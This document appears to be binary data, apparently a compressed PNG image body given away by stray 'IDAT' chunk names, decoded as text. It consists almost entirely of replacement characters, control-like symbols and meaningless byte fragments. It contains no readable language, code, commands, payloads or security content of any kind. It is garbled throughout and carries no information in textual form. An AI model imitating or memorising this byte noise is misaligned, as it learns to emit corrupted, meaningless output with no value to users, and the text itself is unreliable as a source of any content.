�R��<n�j
P`
x𢡊6q���\uy�W���%g��<�@\q��<\�g
nDn(@
P��(��dv|�ӡ
��l#�N���8F;���ӝ5kwߢt�;�x�77~�����慮�{�۶����m���y�R��O�M�/,9g�I ���X���H�IW��*��\P��K�b�����g�)�q2f6Σd�0h��ҽ�-��(@
P��(@
l��e��c�1��m�1q;�B+�J��^���F�г�>]���9E\(@
P`
0�1�*
P`v4�_r�o���[>߉�:>�&\��@����O�kxv�5�{
P��(@
�\��T*}%V���t!I:�����:����6���]뙵�n6p�ߞ��7����M��:W�P�h��i����&n����Ǟ�e�ֵ���%�di��0.���T�
i��Xi�Z�0�5�5VBqaJ�Gl� ]x������P��(@
P�@��Ȣ�
U���J�m#����h��?T��qЇ?�u��(5o���(�a��ذ�\(0������?���|��:z
r:�F/�
���+��CM�&[�
��S��N
P��(@�Y!
����qN���@����Z��Y������y[�(��j��>Asl�{���e��X�Ϝj<G�y�E�T���EP�IP�+D���psH���ϋJqN�f3�Vu](n�"q�)@
P��(@�Y"
�7�&%1�"gM�v�t��y�����:��ҷ��e8�/���c���I
P`� 0��Ѩ�B�@?��Q�O}����d3z�Dj��^7
Df�K�TY$'�S}hą�(@
P��@�D!�yn�ĒxJa�A�L�,�I*��Ji�M<���C7��إ�n�&�T��u�c�B(��m��/��3?nӱU�4Ɔj�ȴ�-�$��
Z���8��,L�Q� �3����}��M
��|�>U�
��P��(@
P���E
N�*�Bq�2����"���њ���n����?�j��ŭ�(0��Ƙynj[L
LC�}��Q���?�LZޯ�bD�3@���E9���B]8^̟���D
P��(@
�@@���r���}�wEʕ!��5��X^r��mV���7�u�B�0\��U�H�{o�n/��U������k���F�u�Lul����Yi��V��w��SVZi��pJ"pE
���8��с�j)@
P��(@�
( c���T
��]"��C5l���r�8�Lwl��n��g|s��A�03�(@
l �6$WC
�n�}�� ��ɯ���qmgu �0�=�gW*\ʗ���g��½�(@
P���lP�#�v�Y�4tA��Z8��Jɗ��-��k��C�9���p3�,���jX�䮏�}�?���j�6&�4��2�"s)J��i����P �7�RTW�FE,�(@
P��(@��.
w5�,��bc��w�m��1�J�N�L���=ǿ<��3?���^��ʧ��q�(@
�$�f���R��V�{��O�䳾���7̜M����G�T��k�*_q�(@
P��(0;�w��a�^+$�*&�)�2�
����c���9aG���83~����FWn��xү�r�q#i�k�ۮT"�r�a�6R�����Pn)���&[�z�&���\n9(@
P��(0���L��N־���N�I
.R��.Jq�OJ����U�Ǘ�2��A\(@
P`0���
P��w���S���{�W�C��MoC�
��[��R�
P��(@
P`6���H�l�E{t:9��<���gkW��k���]�c����l0�
��/a����˟��������ng�j3�h��'o�I(r�HBq
�IH*�I Nj�i�V�q���>R��(@
P`F��徠��X���
�gC
��,�j���<9���[��SOC���U�f����S��L���iv@�9���ȼ?�W����x�
(�Q�D>�87�������@��<��j
P��(@
P�
xx���mx�P-um����[��o��?6�TJ՟���-�OН��}萟~��F�]��#��X4�c�5���
������7��/��zi3j�k����Q��(@
P�R.L�)*�9�F�52�B5�Jn�a��Z9T���9˶���>����cJM�Y%'(@
�X�^� �O
�zi����sox��t��qW���P��"�p�Sx��v�f��C
P��(@
�
�6u�.��Q��c�@9�핏/�|�M�=i�K�?��Mj��{�^�5���o����$K��D9�F�P�j�'���甅W/e�˘�y�p�(@
P��(�?����rب�L+�j�E�e9,:�"���FK����O�Tl���J�v�hpO(@
��������)@�>��G�oz���U:���
���D(�ɖ��d��gOh�>8��
P��(@
�2��i=E��"�TT�JZ���&iS|W>�X��i�Z��҉�+Z��v��,n���?�d"���Q�W�[���+�>|A�nU��R�(�6�)E5 �Iu8��r\���9�
_J[��<�uT�:�}n�#G��q)@
P��(�R�H�8�X@���TWU��F����8h�PISL�e��%���K��Y)5�R�_��@�0�/G��A
�d��o��_p�c�7J���6���T��`����_�k�%;p|a
P��(@
P�yA�u�7堼��\З�F�rD0Q��y�b�����Z����N[̿�-��-#��0��8}�P�P���m�N���x����C.��ˠ���`�w!�{�dy�u�ɍ%�5"+�9OkȽ&��=�������R����8�5�P��(@
P�襀Sd���GbeL���$|��*c�[T�A+����S����>�Ï�P
���q��f����hs_)@��4�_tϓ���������<E�w��uuV�L.��m$��0U5�'ŕR��(@
P�ؠS�ߦ*pY����4Z�E���F�ZC}b%��8��^;����.>�M�K��4�&u���2�} ���_~�駟��e/H�C�U7qh�6G�VC��
�6*��'-U%'!9��U*T��!g��>|���͈s�I
P��(@��.
��\{Ș����ʄ�9��+m�{Tt�n��c�nu�)�����ܹ��tn?(@��"�@�t9�
P`�
t���;���o���77͜-�z{�<b�7���@���t�f��S��(@
P`�
Hu����Po+�z�ؑ���9*I�iA9�p�N�f7ǂ9�4�|j�����[�j�3�m`f�$;*ŵۋ11��}�<�x}�o_�w6q��R�+o�'Z�&��u��:ȌCn,����G�ڬ�M9%'?���z54+
��e�Y}�q�)@
P��(�d�,�7����u�"X���8�D'H���؝��?q��?�����|
P��B�W�f�a�NR��hz��W�ޛ�x]��s(�ȶ�*?�u-S�v-�exV���1�)@
P��(@�
- ���d
NSJU���C0.�R�ۅ�)l�E�$H���5���vX|��O��b
�t�R�
�u\����+��
���7/z���^s�p��]9�)kU%�*A�ɐ�8�EM#��X䡤��7 �EVڡJ@SZ��n���y��q�
g����(@
P��)��ڇ��� <�?*ck�e��q
ZIl�.�Z�+F��������RJٙ���N
P��Y����|t�m����{��O}��=0��C5�$�a�T�2��)�8櫇���m)>�P��(@
P������P&T⒋�f�_�(��v;��
��D-���>o=��N[��ώ����M�l�:�����6�}�����n8��/��[f��r�9\�N�����f�s��T��*qR�=����BHS�/H(΄���5U�U.����s|E
P��(@
P`V �j�(�*Z;;G�R!Ng�>��
J�W]�`��.K*���k��V�*���
�;K
P�GLb����f��j�O�șW��);tx[F�+DJf�˼i��� ��@��93���(@
P����ڵ,�:U*q����� @:�w�e�}��t�Lwl�.[-���x�fnVJ��E���a�����q߲#���__{fŁIg|�$��.U�����{E[��CҙŹ)툊Jp��ok�G�>�<S�P��(@
P��(@��
L�d^�T�.�1Q�X�'q�*xc��@n=j�얗��]>��wb�]�Ԝўn#WN
P`�07K4w�荀\�2ś?r�5-8���J���M
.�����"=+��xp��(@
P��@/|��^�d���
հ��&�V��q#�4L�̣��U���7N~���~
���p�86��N�8�Pr��_����u���s"#�By)&�|�b�T���q���E�C��#�Fn<ɍ�|]��ĸ'�(@
P���t�*q�kT7�y2��&����hKu
��=S��#o�G^w�%�2�l:�����L`
n�1n/(0���ˣ�㴳�wj+��訄<K+���u��� ��e�:��
P��(@
P�����#��i�
��BE����Z.��v�%�|�v��C7��|�AM��x�=�í�A���6�������_;0�v�A���C9 �ňlr�>57i��@\�lhK$�R}�I[_@{�pNX.�(@
P��z/0��1��2�G��2Q��x�L�DCjZ��_[���#����Kj`�W��@�(@��`
���1�����+q�_x�;Zќ=SU��� �^>+.��k'$?�l5$��
%.�(@
P����@hOib�֢l���V�
�G"�:�h������a{ν|xH)՞ƻ�M���k��/~q��_=��+���[�J�ض�PNk
+��H���U�4��tr
&�е6�P��(@
P��ha�L,�J�r�P�,!$ �u��Ҙ�v~mRƊ=v�z��N����6�Q�Q�},�KA}|p�k�@o�]j�{�#��\���
혩Rh��
��B��
"_e����TS��r��(@
P��^�����j�Zud�6JI���A4�-�ʻ�6G�Zu�{�|�u{m]=<��*C\(�d̍��xt��>��W5�N�ռ(N�F]�KRX��m�Ke`�j��<`-$��=�L9��P��(@
P��h�T��RP����@�V��(�c�l{���iX��Oo�����X�W����r�(@��
x�M����V��ko�� mT��U��ˋ�Q㳐~�8�Å�"�_��=B\;(@
P��(�������rq_��癷��0��ª��_���n1��K�2�����B�-ཟ�5�\}���Z��ݮ֩�*�WutTi��vK���V��p0����!����*������
(@
P��(@
� ��I:S��u�8[�C�ĵ�E�4;��%<�`�}|�S�v;~O)�!3(@
�8�1^��M
�b�}T�;���?x�ë��x^�b�(An=��B�C��ж�*3�{v��Y�]�(@
P��f��GlڝJ�x�w;�g��62���
/?w�nֲ��9�3h3��1F;Kp�M�����H7OZ�ee�����X"g���A������P��6��87��(@
P�3U`}�b���� ���(An#fʡ�Zm��2���>��t�w��;>S�����q��Hp;(@�'
�������Gֺ�eN�r訄��x�-b߅�g n�an0(@
P��(
2�'���J���b�Z��[�!�=�������_��l��s�W!W�c�����O�R}�C�;Kl�����E2 M�[�(�0�z�Pa��2h��
�K
P��(@
L �wh��M��@\1Ǝ����H���4�I�x�:g���O��!�^����4�(@�'�+A/ΏϦf��\�_��~�ɧ;��7�S�q�)������u��d��Y��]�(@
P��f�@�f0Zah��ǟy�>��|�;���C��b��R�5�v�;#��d��ֶ�=�?_��n<l�w�ڴ=�%�&CrD�d\.7��0p�(@
P��(�sUT��Q�p
�#�d�)�m�(��ڼ�;�����֓/T���{��|
P�}.�@\�`�(�;�}�t�|�?�Ī������,���h�Ҳ�" �8;�3a�$W�E�B
P��(@
P`z�8'C쫉����s�;_��Y�0?�=J�lz��������X�n�š��w��v:���CQމ�H�i�XDi�
IDAT��M(c"8��֩\(@
P��(@
�V`}
�"gC���e�d
v(�^��d0�EKi�+��]���ǯ�����v;�v
P��/�@\�c�!(�#�}�.^��𣫻����4L���PZ�?n�e�T���H2'��|{tP�Z
P��(@
�y��)F~���GS�(8Գ+��Y��W�gr��'ת$>�BJy�Hi���輨��w��Wn=?UJ�}IΝ��2I
��M�Ċ���g_Wy��}㱵�+�%��r��=E1��#
g��; T�{���Y_�b2���8ݴ?%���(@
P��^IQ�
�"��j�|F:�����.C�x4�C;��6��=���s�����bg��f�33��q�)@��V@q�q�Ͻ�þ�h���i�5|RC�,�ʡ��P����rE�K
���e�
P��(@
P�R@l2~(BjP2�(Bnr�=�z�R��x�\�e&e�d�"����G�Jy��5�I��T�Q��F�Ukw�b�m�?���W�`�R�{�'�S����V���߾��]s�G���+
V"e�Qi�ë
��u�D
Yօ�#��#d���/"��z�('U�%�r==�\9(@
P���P`j����k��Ȉ:L�Q.LF�U���~��矍�M.昻O
�(�Q�ۨ�|1
P�����{F�������S��2Ȣ
r��n�������^f�h���7��P��(@
P��cґ�*r}*'3�X
·��qQ�c)�V�o*�B���]��Iɠ�iº�;�����W��9�Kx@��y�N�"���Mq����^7�iM���Xk�
�,�H��n�R.#ͺ��ynC��"W*��S��C>S�E֔(@
P��(@��
,�m�9眃Mw��R*��q���\�Q�>?��=
P�w�ڝ+��>��C[
�h���"���2�;}���(@
P��I�CK�6��+9S��U�w8��>N��T�\��,Lڑ��SU�d-�(B��D�6�,K��M7e���>�ī�����K���a��t�͜}���h�Y���>�ų���s��[�lk�M��N�ER�W����C���Zi��+/�}pQ-��r�~1�v
P��(@
P��X>0p���~���~��R�^��M
P��x%�ߏ0�����}�yꗯ��{뮶m�����AQyA�Z�N5V��.�+����w6��Vr��(@
P��@?hi_:���~��o�X<>�_ �T%�#O*�uN��+�<�0gx�F�G>�k&]>���wo{��j�yX����r\(0m�jq����w���\|�b��R�9��ĬX=�����vS(�PK"��V�Z��hK�7�YӇ���M���
�(@
P��@�����������{��RCk�e���^
�^
u�&(0��"�0r��+��[7=pJ�V�,ڰD�
����*���k�z��L����Uq#�(@
P��(@�?%���٦�:S�0�(>����W��ɯ�s�T�?ʴ�e-��"(��d �E�*ڍqW���j?z�Kn:�ݮ���
�`U�?u����$�/��z<����:�Ҳ�ڳ�n.�V˭z�R��=c��)B���� yo�$6;��QSo�鴛�
P��(@
P��VV������B����U��d��w���F`
n�r��(@�~���&��;7?��k�z���t��@\�?�dƹܠb
�_��(@
P��z-����ĭ�-�]�S����_� �8/���ZOQ/�+�3���N�~��x�A�;h���̏�R���}�)��c��a4��5.�����2=�v��̯۬$*V�x������VI��"L�CEwBpS�geL{��\'(@
P��(@<S�>��)����O��*��$�(���{�v|&(0����8��ׯ���?{�qP7�yf�g���YD:���� �����@�,>}���(@
P�x���8��I@G�p���
�Z�ʿS�P���Q=R�Z�uE{Ȱo��n
Eͻ���c�s�A\>��E��?L|����'h4���o{�m�}�-���
��5��P��!5���J�M���/B�2���CH�(@
P��(@��
��TWy��O}Ϲj`���N
P������˽�z$ཏ'����-ܹ<�ÕGj>��Ed�"Vy�I%3�ì�0�\n8��U�ף���R��(@
P�$�V,��8_�;U.�(T���n��C>�t����W��yZ�Gw�f��v�WՀ;�� ���$����}���ј��O��������o;b~�.�8W�u!g����K
.r�-bp�V���:K� �6(@
P��6��h��H���ڝ����V�x�2_��@� �RN�S�(�d�y�����lh��,*��"�bt���"�v�%7y���
�v��ܬ��p���(@
P���E�M�:�+�8B{��~QJ�m�d�J@kx�a��W�$�M-�u��s�7�v���<�Cw��p�Rjbƃq(�&�qh�q����+^����]���\�sSĪf����D6G�刍A��
����(@
P��@o�K����\���?u����
�J
P`v07;�3����[l��s����|x�K�Ȧ0�
�Q��d�d���JE��}�����,���(@
P��C���ߦ���"L���a�����Ơ������6�C9����ϔ������#��f~6<��j�!w��#�7H;`�c/���3^>���}�|����r�VU�v�J>�j�N�O�T%&(@
P��(@�� L$�l�%?��_<�]��k�N�k��]���~?��?
P�'��(��}�+��s7ϢZ���6��z�XI���Bܺ�US�zY!�'�+�(@
P��@� Ȩ"�U!N�/��J"p���Z�C7MQ)W��1&���a��s�Ns��e{n9r�)��v��7e��>;i�;T
T�k6�v��=p٥�m��.��Z՚�it�j�
�,��A�eT�V�(@
P��@oq�>3<r�>_8�,,��
����+r���W�Wr���r�(@�
H n�˿|�{W���ҠF�@d4�.!�DpP^n\�P�a]�8�@\
WM
P��(@���@T���R�E-��`�+�c���V��!�Rh($��w�-��1h��x��?d���a�^�T�w`�!
<G�}��f���C����3+w���D����f9Ld��.�9��a�(@
P����hƉ{�R���_<�ll��e���b4�\
P`�07���?(��j`����V�|i
�Vp�T�+�V�Y�ɴ�p�����&qS��|(@
P��(0�$
W�'B�M
S�\qi'�j�i�1�4`�I$q8�V�nk�h|~M���z��
n����,:�������^�b�m_���\q�Q��v�**u3+o7xd�ރ��(@
P��(�+�V�gJ�[��_�6;}[)��굸^
P��.�@\�a�(� ĭ����_���z���T4�z����}%��¹ 7�B
N�m��W/q=94\)(@
P���P�C��@\���B���6�B=>O�\�#��Z5k ���W��U�_����M1�}x�p�^�@h�
�P_�%����#�k�p�֢��r�Ӧ����(@
P����@;���R嶥g��e�7�R���<>��~_��8��^�����x{�~���Rswu�#�B�5�NC�h]�8�^0�B
P��(@
���4�b*�pn2'1�y��Ƽ�!��c0�1w��[���F������}6����J�6i)@�?,ཏ�^��=��օ�.����+����ؼ�X+�S.�(@
P��z&Љ"��*?��C�}
�r!��Rr5�(@
<_➯O
P@Zy?�����]�Z�_�F�K�*�u��1��'[��5s��
qB(_��W�L�(@
P��S�MN�-�ےh[?:�2N��d�QT��K�R�M�b=��5ɏ������ ?T����mt��;x��n;�[�<�m.���g��ƽ|qE���!��mq�]���/_Y��ҡ4_;_���qE���|ֽ�����[�#���}<���K �>���{|�������M
P��(@
L_���0�����_���8���9���Nj[F
Lo����Q��T@q�5��G���E����`4�!�R
�e�2�ַ͋H]�2u��7��(@
P��!��݊jo2Z��T���攇|���#�|��w�]�����%�
�s(�`m�k�8o���/�����z��+7�PJ56�qu�{�A�>��q芯�w��n?p��oU�I7�%�ab��mAE�Dp�#�m��$I�"��)�.Z��B�U�����%�*�X��
��~/Xe&��>���A
P��(@
�b���0Q��z����E8�_�F���'w�xQĽ(>>����[��=����D�e�T
N!C�4�K�?�SE�.�(@
P���l����Z$Sԋ��JP��[��&k$7եѢ�D�Y�,���2�p(�b�m�QIt���V�붿:氥gm=�_k�Rv6s)�+�}���mq�=G����/���~0n�u�\UK 2���r@k�II�ʣ�i�;���Mⴓ@\�ޞ��XT�s0�h�,�S��
�.���dX�W{�R��(@
P��A@q�J�7�廿�Ws�*��_L��m�(0C��!��I
L/�����P��(@
P`:����UQ��d�-j�%cCX�H[T'!7*HI�E������TC�^[Tjet����k��ͤ;v�[N8��}v�|gx
@�a��|Vp�f�@����V}��c���7lj��si��z�t끎���"�J��V���|���v�E ��`�T��L��!�f|QER���э����Ю�Dž�(@
P��_ č�衝�읗�7��
�xs�(@��
0�[_���S��r�(@
P��(��%+V�m��d<��CX��I(Fq�X�^wC
�\���F;��ȳ�K|�R���Y0tۛ���Ǜ��a� %+�B
lP�%ɶ��zs3<��~�<������̔G���h
�P�1�:H��rH�ʙ�˵�E.6K{ �=�L�F9�V��NC(��4��+-��P��(@
P�}-��k����7W��/?�r�INv��C�z(�@\q�j
P����c�=�(@
P�����
�T��E�?I{Di�Z�_��U�BQi���T��Ç<���H�Uh�x��Y-�㾽����?�G�\��<0�V���q�z#�7���
�Լ��C~uٷ\�i�\��<%]C�<t��8��;�E���:���0NZ#G�J#3R@N*JZDޢd��[!�&��(@
P��(���k�+�o~���3��O�\�Io����{G
P�7�ƕk��\���>?��=
P��(@
l@��QE!�f���prAF�kEn�b\�(�U�b���$'�t0%�N����ᚍ'��q˻O>a�+�?_,WJu7�&sU�����W0:�=�z��;�P���=���m�.EQ�}��3����z��!�>��Nj�xK���(������{�#5�
.�(@
P��@dڠU��X�W]S����JC�2��ǜ{G
�N�����r��@0����F
P��(@�� x�}X��k(�*mCQ7 �H��<�H�^t �+K8Λl�%�JW������[Ϳf�
��aU��0��T�h������q�����5W���z�V���NY�UR*#�Eci����W��ZZ#!XY�URCRګơ�jl��<I~/�(OG
P��(@
��&`��.���TJ
.�(��{^\|0(@�B��8� �(@
P���s���T��:P.�G�#�Q��b��B�"���9e�}��O\�j�3���a�N8r��,���G}��|z/�%�:>>�'���ҋ߹�2���qw[
�H��)h�
�I �)�m��+ �)HGV
�>�~��Ne ��G��@
P��(@��V
�ue&j�x�|�����@�K{L�����`
n�;n9(�
L�>�+/M�,ꨒ)��Y8S�s��Ђ�Od��e ͑�*�@p�(@
P���^
�\.�78����h!T�r��H;)�5��.ʥ��D�$z4���_}�v�J?M<>��eJߟ6�&
�T1��
?��.��ٲ��[h�ª�:�vU<0���5йG�R�"�,re��F��]'7Ô҈�J�T��B
P��(@
��:����i��>��j����Q��`
���\7(з�č�6Y�F�.gu�N�@\�~�(@
P������$���v�;��T"�-�Ϡ����1�f�j6m���L��}���c_��#�s��J��y�8L
lT/��:�M�IJ������2�j�:��P�ՎJ:A�EE
�h8�/Ѱp�6+���Q�4rkaB}9.�(@
P��@��Z��M]��M�}䣬����G
�T�WSz�˕S��*��qR!.A*�I N*��J�>�B\���/
P��(@
<��8.&�H0.��1P���*���vT{��EU�[N<��m7�?��
@W)֙~>�|,^*���A��[�{��/i�=���.6_���Q%U
y&��S�X��z�*��#i�ꠜ�1�?�B
P��(@
�����ߴ�i�����Q�=`
��\=(П(7�25W1+��a�^Q��(@
P�E �i
�5ʕj�dY�,�a����g�=��8�3ݯ��9�i�$@�9(��$Z���d�Y{�]�u��ǻ�{��VxlK�J�]i%[��eIN��dɔD1I��$�HD�|BwW�}���H�H�4_�g�9ߪ��ﷅ��t�N=��[���_���^�&�S)ɫʉH�L#��8x�Qq=����~��?~K����+�dI�DEN��"dO��Nb
��t;�)��2Vdr�H�H�H�H�H��v"�˓d���yλ(�;�˛�G$0�(��_�\; ��YJ�{ �ꔩ�+�w��?�H�H�H�H����8Gk8(�`PXc�$Et��KU�7��蚕O������}�� �ezԣ��yI��%��j��5v큿��<�O_�}Y�{�bk�rrR�����,��Ji$q�
e�C�%j9N$@$@$@$@$@g5���+�<�=���~\)U��̓#
�y"@A�<��jI��n"�{~
�?���윑6�H��O�*��ĝ�u�GG$@$@$@$@GN�A:`$m��#�%Ej�l��|:s����?���_<���2G�~�I$p��nqx��v��l]��G>�s�SO_�ni1=�eZ!K8c���;Ź,F^�H��AA��^��?
8n"�k)5m/_w���\�������� ,P�-Ђ�a� �\��}�?������m�:E�q6�(�;>�\�H�H�H�H��*"�3*���s
U3=�H�W]s�ݷ�t���^�+�YU�<x�\��a¬)�v�m�|�c��S����ز����v�h�$k�(�w��D$@$@$@$@$p�A\[�i�3�59
IDATv�ݫ��cpɣJ�#'
��%@A���$@$�9��Q��w��>5*�8�xA�36N}j��J��XnYʿ$݉|�o�{N$@$@$@$@$@�K@߶j��.��=.�eB��O�W�����KS�o�iv�
N��|�T�:�f��k�O�vz�F6���
__�2�.�g��q��S'
�����u������
��:�gϺ�,]�y��BI�Բ,�"��H¡\��֜+��U7����^
{ѥ&\z�^��%yg��� � � � �DW�锹��o��?~��z�q�C�pH��DTb����}&8��s�]���|�g>7�8o�t��PW�ћrp�N���B�U���dK�
%w�H�H�H�H`!0P*T�
Z/V�Q�H�]���IO(\��$���:c|��8ɠ�жDkt[ӈ�q�D+7pq�Xۃ���ڷwY_���zӷo�r����8���Py�$���s���o��?��ז[��:=��ϖ�L�l��h�]4{{�j���B����h�����6+l��V!�rMS�������swr
�^��zq/��Y�I�H�H�H�H`� �Q�Ʉ�r�7G��w�w�q��7u��H�l%�����dy\$@�J@q��������D�r��2�D �,�9�4,�cZ{��R"���A绗9� � � � � �+i��A��Y���n�둒�{py�p��r�ˋYր���Ƣ���u>j�İe��f�SSSn``��f��'���Ӻo�t�__���v:��k�s�$p�pN:F�1n.�߹���}�htZK{��L>����!ע4�uGY�F��̥�!8�������
��
nF7G�V_ _�~9�ɤ�gLm⎒ � � � ���
N'��k�9��ߠ
�L.L�; ��)'@A�)/� ���H�9��
�����ȊB�F���&���y)�IMAܙX��g
�����*I8"��\z�f�Ep"��
�|��r����UG�Y�`��:$I����s��~L�ڈ`���K�i�u��_>t����v�
�=حT5J�lb�c!8!���k�{�y�w?��7-m���6�NKeIJi@i(�a\�S�F:�pZtu���അUr����U�uO�2V!78+W�
���s�'Kh7'�� 9J��H�H�H�H�H��
���d�5w���]�C� � ;
⎝�$X��s�A���?�3��$�I\�aL��l["��f[�>%ӬC\p��C��@<t
��K�EP��o�ES��P����'���,�qq���@G
Y�xw&��`Ĩ��QX�4�]b����?w{���﮺���=�(�;�Eϭ���F
�����n.®�����o�������U�I�����SB�>[�% ��f��7���5�z�z�-��I�Ӻ+X�ya~�E�A\�*Z�7(E�"g��(� � � � � ��|A\%��~��Do/S��'p��H�&@A�Y]�<8
��"
���E��O��'�t(��.�Ɂ�PA�C���8�L��[-��ex�ʈ�%
��5I�T�:���p"v��q�w���Vi�*��P*G*�WM��Z�q$
�4s�T�P��Y9�}�
\�v�����<p"
�#$�x���E��Î��<���6��W/�N�^Zt��y7ʢy�Ѝ:��4��B�D��KDq�X��U���WL�s&A���U�V�Mq���9��Rw����H�H�H�H�H�xȀ�N�LdW_w��_q��˒ ,xTb,�*@$@�B�9��.������X[ƃ�ĕ0��Ɔh�dvH
��w� .�c�e�X�s
8z!�_h���^�濩Eq�])L�DP�aTq�u���6I�rg�s6w�;>��M�_q��������E�sJ����+�
��J$
cc���x����뿸F?�u}Ok�¾���q�P"�+��UJ^�"�R����
��G�NpA�t>Mj�2���uzU��d�d�
�X%I�H�H�H�H`� �
�-)S��������;qn�H�l&@%��\�<6
�y#�ǁU��?r��u-�3Ќ
S�&"��!��$*�NA'�pv�Cq�VD\1 � � � � ��S�Y�fI�*)R�vz-��[��)�D�˖i�@����F�8ә,�bb|Y�۱fE��?�����|��L*E �! ���!
�h�G��������k/�Xsa�,O��{Rg���Qk�[H�ZK��AyrU��{�]$pU:�:�����^8\�ٍ|bJ�k!
��'P��(ˮ���#�|ׯ��o�RbSωH�H�h �'�h�q~
�na�6��_{�}_|�cy��k�֠��R�"8W�L�o���4���B� � � � ���P%��C�Z�b(�$�t@�حrH�������$`�8�]n�8��Tۮ�'�_�r�7���;֞���<
�n�K�
�K��0�|�%��[����e����@Ôq���K����[�
Z$pA�뿑�]H�*npο��/�b+�"��g\�,x8 � � � � �"�3��{��o��ҷ��{��oQ�;mp"
8JTb%0�N$@���95 ,����|���FC�I�Lq.�|�TI��G[Wqu�-8�U#��2��H�H�H�H�N���"k��*FY�[�o���͑� �����&�R��F���l!Q�%�Sd�=���6��������<��Q�'�(�
�'!P199��\;��Ͽ�����}�/qe���NNbp�bLv;pi�nQ
���"VA��t��6�;�q�J�Y����ĕJ{�9N$@$@$@$@$@�K��ZY�m����g�~�h4�S7�̹v
���{2�呑 �3��7�}�?��ϵ���
S�J$(�gq��MXm����I�y7�z
I��A�f�ς*���[D>{�7E+�H��q�yG����,5�|j�e=��?����r�K����8�KW8V3
��M�9���A�;�=;>��[��ʗ�o�۾hй�bz*��
G���"����Z����wI�*iSC�B�D'�R%
kxq"
�_yc*N���_��3�����h�
n~�s�$@g/ve��e�##�g�O��?���� ��VN��y�8k
b�CFU;$��U
�Q�f^�繐�z
�4�N�%�v�"�ᜳ�'"9�h�,�ጁ-sieln:�;��~�͏\�v�K#<�;�R]&
�SM��FG�����=����ч\����`�,�&���h����''У"$N!���J��
Fi��ĩ�'���"�D$@$@$@$@$0��Q��$۲�������l�RbkωH�H� P�q�ȸ � ι�c{�y�'��qۿV)(#)H�ER ��b��ɏ��"���#ޘ� � � � � ���а6�s@�ho�\�A���8/��m4Н��v��m�����{����
߽��-m�>�9�Tk�w�
��$P9�511��w_9�߰����n���;,�qkjB5��=M�D(g���O��a!�N�i��q�{��I�H�H�H�H���@7��D�|r�����7���(�;Z���H�j1XH�H� 8�ό���˯���o]�#UB��?r:�]�����*m�1n��� � � � � �qGQ�^�&)�E���7E��㉚z��
k7�|�_��ƥ��ʦsf
�SA�9���A��|L�^���}�U��}�-�Ǻ+GlԗLLE����(R
���-5
���V|�"�ZDrAG��SQ��& � � � ��B#Љb;���t�����}�?���
N$@$@GI������I�H�&��v��_��;~�@�w�ֱ��"��
m�Z�*�8i��C\)�p�g���O$@$@$@$@$p28���Z�0�:�q�
6/\d
bW��坁̽p�e��/���!ܿ(ᘞ�d�A$p� �`>t�F��[�}��?1���k�uz�nO�]�V*u(u��sH
�X��j�i�Z��q�c�WH$@$@$@$@��ı=�66^�+o�^{ß�cı�� ����
�ظq) �������?���v��DQ�
��q��8�YA���A\��]�͉H�H�H�H�H`� XXW"Ib䅁R����ӂ+�Ţ����n�z�篿j��`�p@G)U��q�$@$0_�["<�cF�{ۆ�?�����W��bu<11Я\�VY���������o齠n�J��%
�Y�8���������_�1-
�XCH�H��P�qlܸ � �
.�n��?����4��N�b�N�e��^��;���U�w,;�F��(�c="
��&pd��0Wx�qb�T�=RA��m��PG]d\�^��K�ar�>:�>3=��^B+�D�D�;]��lO��E{�@3����K�Z�Ħص��+�. ���F�9�C�n���ϯ������00ݾ�i�a�2S�
.�g�2�O�3�@�Y\}%�s��/}
�o���%�~��Z:����u�\�
x������@��3���������v�a�|��7e��.Y/Qgǐ%%A�L��PN$@$@$��̽7푷�Ď��kݻ�Q\u�'�R��]�'
�aM �c$
��pջ?��e���0�"�KgP��w5%N�+9*�lj5��*]wE�p1
Xh
��@3'�*"�7I����Ņ����R�o���'>F-����=1*YÌ�a���U9��|"}���s�J+Xk�u�(�ka��b�Q�O��5���9�F��6�N��er��;z#����/��ׯzdE/�Ц�Ĕ7�B$p�¸�~��/�ɫ�}��~��{.̻���E�ш��v���
(N�@���e�=$����z,]��
�IU-�j�������,���|3ⷐ�Ut"ē�(j�*�2�H�������4���[C�
9��Vhq��ػA��O�l���ν�B�En��s�p��(��2��$[��8� � ��B!p�m���Y��K��S�B�s�
��;�ŗ��R*_(�x�$@$p� �Q�D�H��\����ӏ���ۧn�ھAg��Jt�XDHmỗ�(�
S�!I�*�8N$@$@$@GN`��+k�&�۽�:���Jl3���Hq�ˇ��QG^b���x�n�
W=\8'k�v����)-!W�4�W�X�q�Y�F��������F��`
�"�䓣�e[o�f�7�_��y���a��XV$@$� ���!(u1^عn�K_���7����ۺ�_��hOg�����%�(����y:�h�4��v�U��I�Z5��\�4�o��U>��\ǹ
��q�_*����X9y��M@N+��)��z�ZH�&9�sӌ��;k�W��l%f��Bl���ªp�ע8�VGF(@�Y�
�ˑ+
8��R��+ ⦒�������?�y��RJ�Rq"
8��4.B$@��ȹ����v��K�?�C9�K�O�aa_B'�I�)gq��8V&
8b������ ����Lb���Tt
����Lڮ:������_g�O�x�9# �@}���b�?7UH�g��BR<��s �q�̟h�2��E�6�J��Q�v7G__ڭ6�����i
��mOO惩�������v��Ȱqح��|H�H`�pNP�z��r�����g���W�z�p'?/=�:i3խ�(%H����3��:��j����_���4��PO�P�N�x��\H�t;L���(��X x��Ǟ��q��5��f�fr�}�ݭ3��5.6@&'.�n��8�X��D(�395��`��c-?.G$@$p&x%A�+�d��/����?��U����+��$@$��(�c�
�c$����;�����ܽ?�롋�N�)�:�5d�$R+�7�!���J'>
⎑>#
X��L-j�^�C��B'8(�T"w��.��)���B/Z���r)S�w
�b��1����w&�Rk�($������N&�
)�B�<m���Ki��ODs�)�Ƣ0q�"���"�q)�R���`O��
7_��k�ܱ���z���5s!91ȵ� ��N@�9�tS�qpz
��
��o��1�����T��\=���ő�5�(��5�gD�,bI�ja#I�*�q��ۄv����-8�փB��
�q]\���p��}8��ӛ��>o�ܒT���{=|�ʰ��[.&�>U�BbEH�*��2
��܍%�=���W"�[p3g�I>tn�H�H�N��%�;a�x�(v-�ƍ���aيϰ��%7L$p8���Yp�<
8��j����;��?�r�룴 UL�����Ċ�C�Cz�Ԙ9q�����I�H��V"�Q�T�rg�!X�&�q!�*
�ז���臭���k�DDs$.#/'��
�l�_<��&��!�]>��?����
A��F)�j�8�S�FQ���.U��Կ|
�"G����t�O�]�tO��m7~��鏱� �h+�-�8� � �q��4p0Ye�Ƿ�ٰ鋟�
/�[ߜ�^ޘ��Y�l��t��a�HTưZ�dA�V]Ƀ#���e0�C|�E��{�8q��R+��f�W��uz�?a�%��%
m*�yjծ�89�ę�]�Y�y7�N5<_�g��(�o�Bdn
